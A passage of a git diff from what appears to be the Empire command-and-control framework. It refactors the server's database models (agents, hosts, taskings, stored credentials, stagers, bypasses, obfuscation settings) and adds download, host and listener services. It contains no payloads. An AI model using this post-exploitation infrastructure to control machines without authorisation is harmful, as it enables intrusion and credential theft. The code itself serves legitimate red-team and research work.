+from sqlalchemy.exc import OperationalError
+from sqlalchemy.orm import sessionmaker
+
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+from empire.server.core.db.defaults import (
+ get_default_config,
+ get_default_keyword_obfuscation,
+ get_default_obfuscation_config,
+ get_default_user,
+)
+from empire.server.core.db.models import Base
+
+log = logging.getLogger(__name__)
+
+
+# https://stackoverflow.com/a/13719230
+@event.listens_for(Engine, "connect")
+def set_sqlite_pragma(dbapi_connection, connection_record):
+ if type(dbapi_connection) is sqlite3.Connection: # play well with other DB backends
+ cursor = dbapi_connection.cursor()
+ cursor.execute("PRAGMA journal_mode=WAL;")
+ cursor.close()
+
+
+def try_create_engine(engine_url: str, *args, **kwargs) -> Engine:
+ engine = create_engine(engine_url, *args, **kwargs)
+ try:
+ with engine.connect():
+ pass
+ except OperationalError:
+ log.error(f"Failed connecting to database using {engine_url}")
+ log.error("Perhaps the MySQL service is not running.")
+ log.error("Try executing: sudo systemctl start mysql")
+ exit(1)
+
+ return engine
+
+
+def reset_db():
+ SessionLocal.close_all()
+ Base.metadata.drop_all(engine)
+ if use == "sqlite":
+ os.unlink(database_config.location)
+
+
+database_config = empire_config.database
+use = os.environ.get("DATABASE_USE", database_config.use)
+database_config.use = use
+database_config = database_config[use.lower()]
+
+if use == "mysql":
+ url = database_config.url
+ username = database_config.username
+ password = database_config.password
+ database_name = database_config.database_name
+ mysql_url = f"mysql+pymysql://{username}:{password}@{url}"
+ engine = try_create_engine(mysql_url, echo=False)
+ with engine.connect() as connection:
+ connection.execute(text(f"CREATE DATABASE IF NOT EXISTS {database_name}"))
+ engine = try_create_engine(f"{mysql_url}/{database_name}", echo=False)
+else:
+ location = database_config.location
+ engine = try_create_engine(
+ f"sqlite:///{location}",
+ connect_args={
+ "check_same_thread": False,
+ },
+ echo=False,
+ )
+
+ models.Host.__table_args__ = (
+ UniqueConstraint(
+ models.Host.name, models.Host.internal_ip, name="host_unique_idx"
+ ),
+ )
+
+SessionLocal = sessionmaker(bind=engine)
+Base.metadata.create_all(engine)
+
+with SessionLocal.begin() as db:
+ if use == "mysql":
+ database_name = database_config.database_name
+
+ result = db.execute(
+ f"""
+ SELECT * FROM information_schema.COLUMNS
+ WHERE TABLE_SCHEMA = '{database_name}'
+ AND table_name = 'hosts'
+ AND column_name = 'unique_check'
+ """
+ ).fetchone()
+ if not result:
+ db.execute(
+ """
+ ALTER TABLE hosts
+ ADD COLUMN unique_check VARCHAR(255) GENERATED ALWAYS AS (MD5(CONCAT(name, internal_ip))) UNIQUE;
+ """
+ )
+
+ # When Empire starts up for the first time, it will create the database and create
+ # these default records.
+ if len(db.query(models.User).all()) == 0:
+ log.info("Setting up database.")
+ log.info("Adding default user.")
+ db.add(get_default_user())
+
+ if len(db.query(models.Config).all()) == 0:
+ log.info("Adding database config.")
+ db.add(get_default_config())
+
+ if len(db.query(models.Keyword).all()) == 0:
+ log.info("Adding default keyword obfuscation functions.")
+ keywords = get_default_keyword_obfuscation()
+
+ for keyword in keywords:
+ db.add(keyword)
+
+ if len(db.query(models.ObfuscationConfig).all()) == 0:
+ log.info("Adding default obfuscation config.")
+ obf_configs = get_default_obfuscation_config()
+
+ for config in obf_configs:
+ db.add(config)
diff --git a/empire/server/database/defaults.py b/empire/server/core/db/defaults.py
similarity index 54%
rename from empire/server/database/defaults.py
rename to empire/server/core/db/defaults.py
index 90de307e3..8c44cda1f 100644
--- a/empire/server/database/defaults.py
+++ b/empire/server/core/db/defaults.py
@@ -1,26 +1,32 @@
import hashlib
+import logging
import os
import random
import string
+from pathlib import Path
-import bcrypt
+from passlib import pwd
+from passlib.context import CryptContext
-from empire.server.common.config import empire_config
-from empire.server.database import models
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
database_config = empire_config.database.defaults
+pwd_context = CryptContext(schemes=["bcrypt"], deprecated="auto")
+
+log = logging.getLogger(__name__)
+
def get_default_hashed_password():
- password = database_config.get("password", "password123")
- password = bytes(password, "UTF-8")
- return bcrypt.hashpw(password, bcrypt.gensalt())
+ password = database_config.password
+ return pwd_context.hash(password)
def get_default_user():
return models.User(
- username=database_config.get("username", "empireadmin"),
- password=get_default_hashed_password(),
+ username=database_config.username,
+ hashed_password=get_default_hashed_password(),
enabled=True,
admin=True,
)
@@ -29,22 +35,21 @@ def get_default_user():
def get_default_config():
# Calculate the install path. We know the project directory will always be two levels up of the current directory.
# Any modifications of the folder structure will need to be applied here.
- install_path = os.path.dirname(os.path.dirname(os.path.realpath(__file__)))
+ install_path = str(Path(os.path.dirname(os.path.realpath(__file__))).parent.parent)
return models.Config(
staging_key=get_staging_key(),
install_path=install_path,
- ip_whitelist=database_config.get("ip-whitelist", ""),
- ip_blacklist=database_config.get("ip-blacklist", ""),
+ ip_whitelist=database_config.ip_whitelist,
+ ip_blacklist=database_config.ip_blacklist,
autorun_command="",
autorun_data="",
rootuser=True,
- obfuscate=database_config.get("obfuscate", False),
- obfuscate_command=database_config.get("obfuscate-command", r"Token\All\1"),
+ jwt_secret_key=pwd.genword(length=32, charset="hex"),
)
def get_default_keyword_obfuscation():
- keyword_obfuscation_list = empire_config.keyword_obfuscation
+ keyword_obfuscation_list = database_config.keyword_obfuscation
obfuscated_keywords = []
for value in keyword_obfuscation_list:
obfuscated_keywords.append(
@@ -59,12 +64,28 @@ def get_default_keyword_obfuscation():
return obfuscated_keywords
+def get_default_obfuscation_config():
+ obfuscation_config_list = database_config.obfuscation
+ obfuscation_configs = []
+
+ for config in obfuscation_config_list:
+ obfuscation_configs.append(
+ models.ObfuscationConfig(
+ language=config.language,
+ command=config.command,
+ module=config.module,
+ enabled=config.enabled,
+ preobfuscatable=config.preobfuscatable,
+ )
+ )
+
+ return obfuscation_configs
+
+
def get_staging_key():
# Staging Key is set up via environmental variable or config.yaml. By setting RANDOM a randomly selected password
# will automatically be selected.
- staging_key = os.getenv("STAGING_KEY") or database_config.get(
- "staging-key", "BLANK"
- )
+ staging_key = os.getenv("STAGING_KEY") or database_config.staging_key
punctuation = "!#%&()*+,-./:;<=>?@[]^_{|}~"
if staging_key == "BLANK":
@@ -75,11 +96,11 @@ def get_staging_key():
return hashlib.md5(choice.encode("utf-8")).hexdigest()
elif staging_key == "RANDOM":
- print("\x1b[1;34m[*] Generating random staging key\x1b[0m")
+ log.info("Generating random staging key")
return "".join(
random.sample(string.ascii_letters + string.digits + punctuation, 32)
)
else:
- print(f"\x1b[1;34m[*] Using configured staging key: {staging_key}\x1b[0m")
+ log.info("Using configured staging key: {staging_key}")
return staging_key
diff --git a/empire/server/database/models.py b/empire/server/core/db/models.py
similarity index 65%
rename from empire/server/database/models.py
rename to empire/server/core/db/models.py
index 4accb6db6..38754efff 100644
--- a/empire/server/database/models.py
+++ b/empire/server/core/db/models.py
@@ -1,20 +1,23 @@
+import base64
import enum
from typing import Dict
from sqlalchemy import (
+ JSON,
Boolean,
Column,
Enum,
Float,
ForeignKey,
+ ForeignKeyConstraint,
Integer,
- PickleType,
Sequence,
String,
+ Table,
Text,
- UniqueConstraint,
func,
)
+from sqlalchemy.dialects import mysql
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.ext.hybrid import hybrid_property
from sqlalchemy.orm import deferred, relationship
@@ -25,16 +28,53 @@
Base = declarative_base()
+tasking_download_assc = Table(
+ "tasking_download_assc",
+ Base.metadata,
+ Column("tasking_id", Integer),
+ Column("agent_id", String(255)),
+ Column("download_id", Integer, ForeignKey("downloads.id")),
+ ForeignKeyConstraint(
+ ("tasking_id", "agent_id"), ("taskings.id", "taskings.agent_id")
+ ),
+)
+
+agent_file_download_assc = Table(
+ "agent_file_download_assc",
+ Base.metadata,
+ Column("agent_file_id", Integer, ForeignKey("agent_files.id")),
+ Column("download_id", Integer, ForeignKey("downloads.id")),
+)
+
+
+stager_download_assc = Table(
+ "stager_download_assc",
+ Base.metadata,
+ Column("stager_id", Integer, ForeignKey("stagers.id")),
+ Column("download_id", Integer, ForeignKey("downloads.id")),
+)
+
+# this doesn't actually join to anything atm, but is used for the filtering in api/v2/downloads
+upload_download_assc = Table(
+ "upload_download_assc",
+ Base.metadata,
+ Column("download_id", Integer, ForeignKey("downloads.id")),
+)
+
+
class User(Base):
__tablename__ = "users"
id = Column(Integer, Sequence("user_id_seq"), primary_key=True)
username = Column(String(255), nullable=False)
- password = Column(String(255), nullable=False)
+ hashed_password = Column(String(255), nullable=False)
api_token = Column(String(50))
- last_logon_time = Column(UtcDateTime, default=utcnow(), onupdate=utcnow())
enabled = Column(Boolean, nullable=False)
admin = Column(Boolean, nullable=False)
notes = Column(Text)
+ created_at = Column(UtcDateTime, default=utcnow(), nullable=False)
+ updated_at = Column(
+ UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
+ )
def __repr__(self):
return "" % (self.username)
@@ -48,42 +88,37 @@ class Listener(Base):
listener_type = Column(String(255), nullable=True)
listener_category = Column(String(255), nullable=False)
enabled = Column(Boolean, nullable=False)
- options = Column(PickleType) # Todo Json?
+ options = Column(JSON)
created_at = Column(UtcDateTime, nullable=False, default=utcnow())
def __repr__(self):
return "" % (self.name)
- def __getitem__(self, key):
- return self.__dict__[key]
-
- def __setitem__(self, key, value):
- self.__dict__[key] = value
-
class Host(Base):
__tablename__ = "hosts"
id = Column(Integer, Sequence("host_id_seq"), primary_key=True)
- name = Column(String(255), nullable=False)
- internal_ip = Column(String(255))
+ name = Column(Text, nullable=False)
+ internal_ip = Column(Text)
- UniqueConstraint(name, internal_ip)
+ # unique check handled differently in mysql and sqlite
+ # In base.py, a unique constraint is added for sqlite
+ # and a generated column is added for mysql
class Agent(Base):
__tablename__ = "agents"
- id = Column(Integer, Sequence("agent_id_seq"), primary_key=True)
+ session_id = Column(String(255), primary_key=True, nullable=False)
name = Column(String(255), nullable=False)
host_id = Column(Integer, ForeignKey("hosts.id"))
host = relationship(Host, lazy="joined")
listener = Column(String(255), nullable=False)
- session_id = Column(String(255), nullable=False, unique=True)
language = Column(String(255))
language_version = Column(String(255))
delay = Column(Integer)
jitter = Column(Float)
external_ip = Column(String(255))
- internal_ip = Column(String(255))
+ internal_ip = Column(Text)
username = Column(Text)
high_integrity = Column(Boolean)
process_name = Column(Text)
@@ -104,14 +139,16 @@ class Agent(Base):
lost_limit = Column(Integer)
notes = Column(Text)
architecture = Column(String(255))
- killed = Column(Boolean, nullable=False)
- proxy = Column(PickleType)
+ archived = Column(Boolean, nullable=False)
+ proxies = Column(JSON)
+ socks = Column(Boolean)
+ socks_port = Column(Integer)
@hybrid_property
def stale(self):
return is_stale(self.lastseen_time, self.delay, self.jitter)
- @stale.expression
+ @stale.expression # todo: this only works for sqlite.
def stale(cls):
threshold = 30 + cls.delay + cls.delay * cls.jitter
seconds_elapsed = (
@@ -176,19 +213,21 @@ class AgentFile(Base):
parent_id = Column(
Integer, ForeignKey("agent_files.id", ondelete="CASCADE"), nullable=True
)
+ downloads = relationship("Download", secondary=agent_file_download_assc)
class HostProcess(Base):
__tablename__ = "host_processes"
- host_id = Column(String(255), ForeignKey("hosts.id"), primary_key=True)
+ host_id = Column(Integer, ForeignKey("hosts.id"), primary_key=True)
process_id = Column(Integer, primary_key=True)
process_name = Column(Text)
architecture = Column(String(255))
user = Column(String(255))
+ stale = Column(Boolean, default=False)
agent = relationship(
Agent,
lazy="joined",
- primaryjoin="and_(Agent.process_id==foreign(HostProcess.process_id), Agent.host_id==foreign(HostProcess.host_id), Agent.killed == False)",
+ primaryjoin="and_(Agent.process_id==foreign(HostProcess.process_id), Agent.host_id==foreign(HostProcess.host_id), Agent.archived == False)",
)
@@ -201,8 +240,7 @@ class Config(Base):
autorun_command = Column(Text, nullable=False)
autorun_data = Column(Text, nullable=False)
rootuser = Column(Boolean, nullable=False)
- obfuscate = Column(Boolean, nullable=False)
- obfuscate_command = Column(Text, nullable=False)
+ jwt_secret_key = Column(Text, nullable=False)
def __repr__(self):
return "" % (self.staging_key)
@@ -225,6 +263,10 @@ class Credential(Base):
os = Column(String(255))
sid = Column(String(255))
notes = Column(Text)
+ created_at = Column(UtcDateTime, default=utcnow(), nullable=False)
+ updated_at = Column(
+ UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
+ )
def __repr__(self):
return "" % (self.id)
@@ -236,9 +278,25 @@ def __setitem__(self, key, value):
self.__dict__[key] = value
-class TaskingStatus(enum.Enum):
- queued = 1
- pulled = 2
+class Download(Base):
+ __tablename__ = "downloads"
+ id = Column(Integer, Sequence("download_seq"), primary_key=True)
+ location = Column(Text, nullable=False)
+ filename = Column(Text, nullable=True)
+ size = Column(Integer, nullable=True)
+ created_at = Column(UtcDateTime, default=utcnow(), nullable=False)
+ updated_at = Column(
+ UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
+ )
+
+ def get_base64_file(self):
+ with open(self.location, "rb") as f:
+ return base64.b64encode(f.read()).decode("utf-8")
+
+
+class TaskingStatus(str, enum.Enum):
+ queued = "queued"
+ pulled = "pulled"
class Tasking(Base):
@@ -247,12 +305,16 @@ class Tasking(Base):
agent_id = Column(String(255), ForeignKey("agents.session_id"), primary_key=True)
agent = relationship(Agent, lazy="joined", innerjoin=True)
input = Column(Text)
- input_full = deferred(Column(Text))
- output = Column(Text, nullable=True)
+ input_full = deferred(Column(Text().with_variant(mysql.LONGTEXT, "mysql")))
+ output = deferred(
+ Column(Text().with_variant(mysql.LONGTEXT, "mysql"), nullable=True)
+ )
# In most cases, this isn't needed and will match output. However, with the filter feature, we want to store
# a copy of the original output if it gets modified by a filter.
- original_output = deferred(Column(Text, nullable=True))
- user_id = Column(Integer, ForeignKey("users.id"), nullable=False)
+ original_output = deferred(
+ Column(Text().with_variant(mysql.LONGTEXT, "mysql"), nullable=True)
+ )
+ user_id = Column(Integer, ForeignKey("users.id"), nullable=True)
user = relationship(User)
created_at = Column(UtcDateTime, default=utcnow(), nullable=False)
updated_at = Column(
@@ -260,11 +322,18 @@ class Tasking(Base):
)
module_name = Column(Text)
task_name = Column(Text)
- status = Column(Enum(TaskingStatus))
+ status = Column(Enum(TaskingStatus), index=True)
+ downloads = relationship("Download", secondary=tasking_download_assc)
def __repr__(self):
return "" % (self.id)
+ def __getitem__(self, key):
+ return self.__dict__[key]
+
+ def __setitem__(self, key, value):
+ self.__dict__[key] = value
+
class Reporting(Base):
__tablename__ = "reporting"
@@ -281,22 +350,32 @@ def __repr__(self):
class Keyword(Base):
__tablename__ = "keywords"
- keyword = Column(String(255), primary_key=True)
+ id = Column(Integer, Sequence("keyword_seq"), primary_key=True)
+ keyword = Column(String(255), unique=True)
replacement = Column(String(255))
+ created_at = Column(UtcDateTime, nullable=False, default=utcnow())
+ updated_at = Column(
+ UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
+ )
def __repr__(self):
- return "" % (self.id)
+ return "" % (self.id)
class Module(Base):
__tablename__ = "modules"
- name = Column(String(255), primary_key=True)
+ id = Column(String(255), primary_key=True)
+ name = Column(String(255), nullable=False)
enabled = Column(Boolean, nullable=False)
+ technique = Column(JSON)
+ tactic = Column(JSON)
+ software = Column(JSON)
class Profile(Base):
__tablename__ = "profiles"
- name = Column(String(255), primary_key=True)
+ id = Column(Integer, Sequence("profile_seq"), primary_key=True)
+ name = Column(String(255), unique=True)
file_path = Column(String(255))
category = Column(String(255))
data = Column(Text, nullable=False)
@@ -310,9 +389,34 @@ class Bypass(Base):
__tablename__ = "bypasses"
id = Column(Integer, Sequence("bypass_seq"), primary_key=True)
name = Column(String(255), unique=True)
+ authors = Column(JSON)
code = Column(Text)
language = Column(String(255))
created_at = Column(UtcDateTime, nullable=False, default=utcnow())
updated_at = Column(
UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
)
+
+
+class Stager(Base):
+ __tablename__ = "stagers"
+ id = Column(Integer, Sequence("stager_seq"), primary_key=True)
+ name = Column(String(255), unique=True)
+ module = Column(String(255))
+ options = Column(JSON)
+ downloads = relationship("Download", secondary=stager_download_assc)
+ one_liner = Column(Boolean)
+ user_id = Column(Integer, ForeignKey("users.id"), nullable=False)
+ created_at = Column(UtcDateTime, nullable=False, default=utcnow())
+ updated_at = Column(
+ UtcDateTime, default=utcnow(), onupdate=utcnow(), nullable=False
+ )
+
+
+class ObfuscationConfig(Base):
+ __tablename__ = "obfuscation_config"
+ language = Column(String(255), primary_key=True)
+ command = Column(Text)
+ module = Column(String(255))
+ enabled = Column(Boolean)
+ preobfuscatable = Column(Boolean)
diff --git a/empire/server/core/download_service.py b/empire/server/core/download_service.py
new file mode 100644
index 000000000..b9a46d8ac
--- /dev/null
+++ b/empire/server/core/download_service.py
@@ -0,0 +1,150 @@
+import os
+import shutil
+from pathlib import Path
+from typing import List, Optional, Tuple
+
+from fastapi import UploadFile
+from sqlalchemy import func, or_
+from sqlalchemy.orm import Session
+
+from empire.server.api.v2.download.download_dto import (
+ DownloadOrderOptions,
+ DownloadSourceFilter,
+)
+from empire.server.api.v2.shared_dto import OrderDirection
+from empire.server.core.config import empire_config
+from empire.server.core.db import models
+
+
+class DownloadService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Download).filter(models.Download.id == uid).first()
+
+ @staticmethod
+ def get_all(
+ db: Session,
+ download_types: Optional[List[DownloadSourceFilter]],
+ q: str,
+ limit: int = -1,
+ offset: int = 0,
+ order_by: DownloadOrderOptions = DownloadOrderOptions.updated_at,
+ order_direction: OrderDirection = OrderDirection.desc,
+ ) -> Tuple[List[models.Download], int]:
+ query = db.query(
+ models.Download, func.count(models.Download.id).over().label("total")
+ )
+
+ download_types = download_types or []
+ sub = []
+ if DownloadSourceFilter.agent_task in download_types:
+ sub.append(
+ db.query(
+ models.tasking_download_assc.c.download_id.label("download_id")
+ )
+ )
+ if DownloadSourceFilter.agent_file in download_types:
+ sub.append(
+ db.query(
+ models.agent_file_download_assc.c.download_id.label("download_id")
+ )
+ )
+ if DownloadSourceFilter.stager in download_types:
+ sub.append(
+ db.query(models.stager_download_assc.c.download_id.label("download_id"))
+ )
+ if DownloadSourceFilter.upload in download_types:
+ sub.append(
+ db.query(models.upload_download_assc.c.download_id.label("download_id"))
+ )
+
+ subquery = None
+ if len(sub) > 0:
+ subquery = sub[0]
+ if len(sub) > 1:
+ subquery = subquery.union(*sub[1:])
+ subquery = subquery.subquery()
+
+ if subquery is not None:
+ query = query.join(subquery, subquery.c.download_id == models.Download.id)
+
+ if q:
+ query = query.filter(
+ or_(
+ models.Download.filename.like(f"%{q}%"),
+ models.Download.location.like(f"%{q}%"),
+ )
+ )
+
+ if order_by == DownloadOrderOptions.filename:
+ order_by_prop = func.lower(models.Download.filename)
+ elif order_by == DownloadOrderOptions.location:
+ order_by_prop = func.lower(models.Download.location)
+ elif order_by == DownloadOrderOptions.size:
+ order_by_prop = models.Download.size
+ elif order_by == DownloadOrderOptions.created_at:
+ order_by_prop = models.Download.created_at
+ else:
+ order_by_prop = models.Download.updated_at
+
+ if order_direction == OrderDirection.asc:
+ query = query.order_by(order_by_prop.asc())
+ else:
+ query = query.order_by(order_by_prop.desc())
+
+ if limit > 0:
+ query = query.limit(limit).offset(offset)
+
+ results = query.all()
+
+ total = 0 if len(results) == 0 else results[0].total
+ results = list(map(lambda x: x[0], results))
+
+ return results, total
+
+ def create_download(self, db: Session, user: models.User, file: UploadFile):
+ """
+ Upload the file to the downloads directory and save a reference to the db.
+ :param db:
+ :param user:
+ :param file:
+ :return:
+ """
+ filename = file.filename
+
+ location = (
+ Path(empire_config.directories.downloads)
+ / "uploads"
+ / user.username
+ / filename
+ )
+ location.parent.mkdir(parents=True, exist_ok=True)
+
+ # append number to filename if it already exists
+ filename, file_extension = os.path.splitext(filename)
+ i = 1
+ while os.path.isfile(location):
+ temp_name = f"{filename}({i}){file_extension}"
+ location = (
+ Path(empire_config.directories.downloads)
+ / "uploads"
+ / user.username
+ / temp_name
+ )
+ i += 1
+ filename = location.name
+
+ with location.open("wb") as buffer:
+ shutil.copyfileobj(file.file, buffer)
+
+ download = models.Download(
+ location=str(location), filename=filename, size=os.path.getsize(location)
+ )
+ db.add(download)
+ db.flush()
+ db.execute(models.upload_download_assc.insert().values(download_id=download.id))
+
+ return download
diff --git a/empire/server/common/hooks.py b/empire/server/core/hooks.py
similarity index 73%
rename from empire/server/common/hooks.py
rename to empire/server/core/hooks.py
index 1addcfbea..0f052cd4e 100644
--- a/empire/server/common/hooks.py
+++ b/empire/server/core/hooks.py
@@ -1,6 +1,8 @@
+import asyncio
+import logging
from typing import Callable, Dict
-from empire.server.common import helpers
+log = logging.getLogger(__name__)
class Hooks(object):
@@ -12,28 +14,28 @@ class Hooks(object):
Potential future addition: Filters. Add a filter to an event to do some synchronous modification to the data.
"""
+ # This event is triggered after the creation of a listener.
+ # Its arguments are (db: Session, listener: models.Listener)
+ AFTER_LISTENER_CREATED_HOOK = "after_listener_created_hook"
+
# This event is triggered after the tasking is written to the database.
- # Its arguments are (tasking: models.Tasking)
+ # Its arguments are (db: Session, tasking: models.Tasking)
AFTER_TASKING_HOOK = "after_tasking_hook"
# This event is triggered after the tasking results are received but before they are written to the database.
- # Its arguments are (tasking: models.Tasking) where tasking is the db record.
+ # Its arguments are (db: Session, tasking: models.Tasking) where tasking is the db record.
BEFORE_TASKING_RESULT_HOOK = "before_tasking_result_hook"
BEFORE_TASKING_RESULT_FILTER = "before_tasking_result_filter"
# This event is triggered after the tasking results are received and after they are written to the database.
- # Its arguments are (tasking: models.Tasking) where tasking is the db record.
+ # Its arguments are (db: Session, tasking: models.Tasking) where tasking is the db record.
AFTER_TASKING_RESULT_HOOK = "after_tasking_result_hook"
- # This event is triggered after the agent has checked in and a record written to the database.
- # It has one argument (agent: models.Agent)
- AFTER_AGENT_CHECKIN_HOOK = "after_agent_checkin_hook"
-
# This event is triggered after the agent has completed the stage2 of the checkin process,
# and the sysinfo has been written to the database.
- # It has one argument (agent: models.Agent)
- AFTER_AGENT_STAGE2_HOOK = "after_agent_stage2_hook"
+ # Its arguments are (db: Session, agent: models.Agent)
+ AFTER_AGENT_CHECKIN_HOOK = "after_agent_checkin_hook"
def __init__(self):
self.hooks: Dict[str, Dict[str, Callable]] = {}
@@ -86,9 +88,20 @@ def run_hooks(self, event: str, *args):
return
for hook in self.hooks.get(event, {}).values():
try:
- hook(*args)
+ if asyncio.iscoroutinefunction(hook):
+ try: # https://stackoverflow.com/a/61331974/
+ loop = asyncio.get_running_loop()
+ except RuntimeError:
+ loop = None
+
+ if loop and loop.is_running():
+ loop.create_task(hook(*args))
+ else:
+ asyncio.run(hook(*args))
+ else:
+ hook(*args)
except Exception as e:
- print(helpers.color(f"[!] Hook {hook} failed: {e}"))
+ log.error(f"Hook {hook} failed: {e}", exc_info=True)
def run_filters(self, event: str, *args):
"""
@@ -103,7 +116,7 @@ def run_filters(self, event: str, *args):
try:
args = filter(*args)
except Exception as e:
- print(helpers.color(f"[!] Filter {filter} failed: {e}"))
+ log.error(f"Filter {filter} failed: {e}", exc_info=True)
return args
diff --git a/empire/server/common/hooks_internal.py b/empire/server/core/hooks_internal.py
similarity index 81%
rename from empire/server/common/hooks_internal.py
rename to empire/server/core/hooks_internal.py
index 6dd2e35f5..acbc589f2 100644
--- a/empire/server/common/hooks_internal.py
+++ b/empire/server/core/hooks_internal.py
@@ -3,13 +3,13 @@
import jq as jq
import terminaltables
from sqlalchemy import and_
+from sqlalchemy.orm import Session
-from empire.server.common.hooks import hooks
-from empire.server.database import models
-from empire.server.database.base import Session
+from empire.server.core.db import models
+from empire.server.core.hooks import hooks
-def ps_hook(tasking: models.Tasking):
+def ps_hook(db: Session, tasking: models.Tasking):
"""
This hook watches for the 'ps' command and writes the processes into the processes table.
@@ -43,8 +43,7 @@ def ps_hook(tasking: models.Tasking):
output = json.loads(tasking.output)
existing_processes = (
- Session()
- .query(models.HostProcess.process_id)
+ db.query(models.HostProcess.process_id)
.filter(models.HostProcess.host_id == tasking.agent.host_id)
.all()
)
@@ -56,9 +55,9 @@ def ps_hook(tasking: models.Tasking):
arch = process.get("Arch")
user = process.get("UserName")
if process_id:
- # and process_id.isnumeric():
+ # new process
if int(process_id) not in existing_processes:
- Session().add(
+ db.add(
models.HostProcess(
host_id=tasking.agent.host_id,
process_id=process_id,
@@ -67,10 +66,10 @@ def ps_hook(tasking: models.Tasking):
user=user,
)
)
+ # update existing process
elif int(process_id) in existing_processes:
db_process: models.HostProcess = (
- Session()
- .query(models.HostProcess)
+ db.query(models.HostProcess)
.filter(
and_(
models.HostProcess.host_id == tasking.agent.host_id,
@@ -82,11 +81,25 @@ def ps_hook(tasking: models.Tasking):
if not db_process.agent:
db_process.architecture = arch
db_process.process_name = process_name
-
- Session().commit()
+ db_process.user = user
+
+ for process in existing_processes:
+ # mark processes that are no longer running stale
+ if process not in list(map(lambda p: int(p.get("PID")), output)):
+ db_process: models.HostProcess = (
+ db.query(models.HostProcess)
+ .filter(
+ and_(
+ models.HostProcess.host_id == tasking.agent.host_id,
+ models.HostProcess.process_id == process,
+ )
+ )
+ .first()
+ )
+ db_process.stale = True
-def ps_filter(tasking: models.Tasking):
+def ps_filter(db: Session, tasking: models.Tasking):
"""
This filter converts the JSON results of the ps command and converts it to a PowerShell-ish table.
@@ -96,7 +109,7 @@ def ps_filter(tasking: models.Tasking):
"ps",
"tasklist",
] or tasking.agent.language not in ["powershell", "ironpython"]:
- return tasking
+ return db, tasking
output = json.loads(tasking.output.decode("utf-8"))
output_list = []
@@ -119,20 +132,22 @@ def ps_filter(tasking: models.Tasking):
table.inner_column_border = False
tasking.output = table.table
- return tasking
+ return db, tasking
-def ls_filter(tasking: models.Tasking):
+def ls_filter(db: Session, tasking: models.Tasking):
"""
This filter converts the JSON results of the ls command and converts it to a PowerShell-ish table.
if the results are from the Python or C# agents, it does nothing.
"""
+ tasking_input = tasking.input.strip().split()
if (
- tasking.input.strip().split()[0] not in ["ls", "dir"]
+ len(tasking_input) == 0
+ or tasking_input[0] not in ["ls", "dir"]
or tasking.agent.language != "powershell"
):
- return tasking
+ return db, tasking
output = json.loads(tasking.output.decode("utf-8"))
output_list = []
@@ -155,10 +170,10 @@ def ls_filter(tasking: models.Tasking):
table.inner_column_border = False
tasking.output = table.table
- return tasking
+ return db, tasking
-def ipconfig_filter(tasking: models.Tasking):
+def ipconfig_filter(db: Session, tasking: models.Tasking):
"""
This filter converts the JSON results of the ifconfig/ipconfig command and converts it to a PowerShell-ish table.
@@ -168,7 +183,7 @@ def ipconfig_filter(tasking: models.Tasking):
tasking.input.strip() not in ["ipconfig", "ifconfig"]
or tasking.agent.language != "powershell"
):
- return tasking
+ return db, tasking
output = json.loads(tasking.output.decode("utf-8"))
if isinstance(output, dict): # if there's only one adapter, it won't be a list.
@@ -187,17 +202,17 @@ def ipconfig_filter(tasking: models.Tasking):
table.inner_column_border = False
tasking.output = table.table
- return tasking
+ return db, tasking
-def route_filter(tasking: models.Tasking):
+def route_filter(db: Session, tasking: models.Tasking):
"""
This filter converts the JSON results of the route command and converts it to a PowerShell-ish table.
if the results are from the Python or C# agents, it does nothing.
"""
if tasking.input.strip() not in ["route"] or tasking.agent.language != "powershell":
- return tasking
+ return db, tasking
output = json.loads(tasking.output.decode("utf-8"))
@@ -221,7 +236,7 @@ def route_filter(tasking: models.Tasking):
table.inner_column_border = False
tasking.output = table.table
- return tasking
+ return db, tasking
def initialize():
diff --git a/empire/server/core/host_process_service.py b/empire/server/core/host_process_service.py
new file mode 100644
index 000000000..7104345e6
--- /dev/null
+++ b/empire/server/core/host_process_service.py
@@ -0,0 +1,30 @@
+from sqlalchemy import and_
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+
+
+class HostProcessService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_processes_for_host(db: Session, db_host: models.Host):
+ return (
+ db.query(models.HostProcess)
+ .filter(models.HostProcess.host_id == db_host.id)
+ .all()
+ )
+
+ @staticmethod
+ def get_process_for_host(db: Session, db_host: models.Host, uid: int):
+ return (
+ db.query(models.HostProcess)
+ .filter(
+ and_(
+ models.HostProcess.process_id == uid,
+ models.HostProcess.host_id == db_host.id,
+ )
+ )
+ .first()
+ )
diff --git a/empire/server/core/host_service.py b/empire/server/core/host_service.py
new file mode 100644
index 000000000..7bf1b11e7
--- /dev/null
+++ b/empire/server/core/host_service.py
@@ -0,0 +1,16 @@
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+
+
+class HostService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ @staticmethod
+ def get_all(db: Session):
+ return db.query(models.Host).all()
+
+ @staticmethod
+ def get_by_id(db: Session, uid: int):
+ return db.query(models.Host).filter(models.Host.id == uid).first()
diff --git a/empire/server/core/listener_service.py b/empire/server/core/listener_service.py
new file mode 100644
index 000000000..f8ec68f1b
--- /dev/null
+++ b/empire/server/core/listener_service.py
@@ -0,0 +1,323 @@
+import copy
+import hashlib
+import logging
+from typing import Any, Dict, List, Optional, Tuple
+
+from sqlalchemy.orm import Session
+
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.hooks import hooks
+from empire.server.core.listener_template_service import ListenerTemplateService
+from empire.server.utils.option_util import set_options, validate_options
+
+log = logging.getLogger(__name__)
+
+
+class ListenerService(object):
+ def __init__(self, main_menu):
+ self.main_menu = main_menu
+
+ self.listener_template_service: ListenerTemplateService = (
+ main_menu.listenertemplatesv2
+ )
+
+ # All running listeners. This is the object instances, NOT the database models.
+ # When updating options for a listener, we'll go to the db as the source of truth.
+ # We can construct a new instance to validate the options, then save those options back to the db.
+ # In essence, turning a listener off and on always constructs a new object.
+ self._active_listeners = {}
+
